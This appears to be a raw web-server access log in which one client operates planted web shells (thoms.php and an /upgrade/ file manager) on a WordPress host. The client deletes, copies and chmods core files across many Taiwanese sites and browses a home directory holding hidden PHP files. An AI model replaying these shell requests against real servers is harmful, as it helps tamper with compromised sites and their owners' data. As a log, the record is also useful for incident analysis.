45.135.193.11 - - [11/Sep/2026:22:39:52 -0400] "GET /thoms.php?del=wp-login.php&p=bodbooks.com.tw HTTP/1.1" 200 17435 "http://163.245.207.76:443/thoms.php?del=wp-login.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:52 -0400] "GET /thoms.php?del=.well-known&p=bodbooks.com.tw HTTP/1.1" 200 17432 "http://163.245.207.76:443/thoms.php?del=.well-known&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /bodbooks.com.tw/wp-includes/ HTTP/1.1" 200 9306 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-login.php&p=bodbooks.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fwp-login.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=bodbooks.com.tw HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=xmlrpc.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /thoms.php?del=wp-trackback.php&p=bodbooks.com.tw HTTP/1.1" 200 17424 "http://163.245.207.76:443/thoms.php?del=wp-trackback.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /bodbooks.com.tw/wp-comments-post.php HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /bodbooks.com.tw/wp-settings.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=.htaccess HTTP/1.1" 200 12725 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Findex.php&p=bodbooks.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Findex.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-mail.php&p=bodbooks.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fwp-mail.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /wp-content/?MA= HTTP/1.1" 200 755 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /wp-content/?ND= HTTP/1.1" 200 755 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /wp-content/?SA= HTTP/1.1" 200 755 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /thoms.php?dl=wp-signup.php&p=bodbooks.com.tw HTTP/1.1" 200 17438 "http://163.245.207.76:443/thoms.php?dl=wp-signup.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /_autoindex/assets/js/tablesort.js HTTP/1.1" 200 2300 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /_autoindex/assets/js/tablesort.number.js HTTP/1.1" 200 366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /thoms.php?del=xmlrpc.php&p=bodbooks.com.tw HTTP/1.1" 200 17438 "http://163.245.207.76:443/thoms.php?del=xmlrpc.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /thoms.php?edit=thoms.php&env=ace&p= HTTP/1.1" 200 59689 "http://163.245.207.76:443/thoms.php?edit=thoms.php&env=ace&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /thoms.php?edit=thoms.php&p= HTTP/1.1" 200 56125 "http://163.245.207.76:443/thoms.php?edit=thoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=bfl.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11399 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18587 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=bossini.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=cgi-bin HTTP/1.1" 200 11307 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=upgrade HTTP/1.1" 200 11307 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=wp-content HTTP/1.1" 200 11342 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=ba-guo.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=betcity.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=bft.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:55 -0400] "GET /wp-content/themes/?ND= HTTP/1.1" 200 770 "http://163.245.207.76:443/wp-content/themes/?ND=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:55 -0400] "GET /wp-content/themes/?MA= HTTP/1.1" 200 770 "http://163.245.207.76:443/wp-content/themes/?MA=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:55 -0400] "GET /wp-content/themes/?SA= HTTP/1.1" 200 770 "http://163.245.207.76:443/wp-content/themes/?SA=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:55 -0400] "GET /wp-content/themes/twentytwentyfive/ HTTP/1.1" 200 773 "http://163.245.207.76:443/wp-content/themes/twentytwentyfive/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:55 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7872 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:55 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06&location=%2Fhome%2F HTTP/1.1" 200 5747 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:56 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06&location=%2F HTTP/1.1" 200 7797 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:56 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.caldav&location=%2F HTTP/1.1" 200 7820 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.caldav&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:56 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.caldav%2F&option=folder HTTP/1.1" 200 6271 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.caldav%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:56 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.caldav%2Fblackpussy06 HTTP/1.1" 200 6464 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.caldav%2Fblackpussy06" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18696 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:56 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.caldav%2F&option=dir HTTP/1.1" 200 6273 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.caldav%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:56 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.caldav%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F.caldav%2F HTTP/1.1" 200 50829 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.caldav%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F.caldav%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:56 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.caldav&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7875 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.caldav&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:56 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.caldav%2F HTTP/1.1" 200 6261 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.caldav%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:56 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.caldav&location=%2Fhome%2F HTTP/1.1" 200 5767 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.caldav&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:56 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.caldav%2F&option=file HTTP/1.1" 200 6271 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.caldav%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:56 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.caldav&location=%2Fhome%2Fblackpussy06%2F.caldav%2F HTTP/1.1" 200 6273 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.caldav&location=%2Fhome%2Fblackpussy06%2F.caldav%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:56 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.caldav%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F.caldav%2F HTTP/1.1" 200 18999 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.caldav%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F.caldav%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:56 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.caldav%2F HTTP/1.1" 200 6249 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.caldav%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:57 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Fservers.nomination.lst&location=%2Fhome%2Fblackpussy06%2F.razor%2F HTTP/1.1" 200 6735 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Fservers.nomination.lst&location=%2Fhome%2Fblackpussy06%2F.razor%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:57 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.razor&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7882 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.razor&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:57 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.razor&location=%2Fhome%2Fblackpussy06%2F.razor%2F HTTP/1.1" 200 6613 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.razor&location=%2Fhome%2Fblackpussy06%2F.razor%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:57 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.razor%2F HTTP/1.1" 200 6636 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.razor%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:57 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.razor%2F HTTP/1.1" 200 6625 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.razor%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:57 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F.razor%2F HTTP/1.1" 200 19396 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F.razor%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:57 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Fservers.discovery.lst&location=%2Fhome%2Fblackpussy06%2F.razor%2F HTTP/1.1" 200 6727 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Fservers.discovery.lst&location=%2Fhome%2Fblackpussy06%2F.razor%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:57 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.razor&location=%2F HTTP/1.1" 200 7820 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.razor&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:57 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.razor%2F&option=file HTTP/1.1" 200 6646 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.razor%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:57 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Fserver.c301.cloudmark.com.conf&location=%2Fhome%2Fblackpussy06%2F.razor%2F HTTP/1.1" 200 7055 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.razor%2F%2Fserver.c301.cloudmark.com.conf&location=%2Fhome%2Fblackpussy06%2F.razor%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
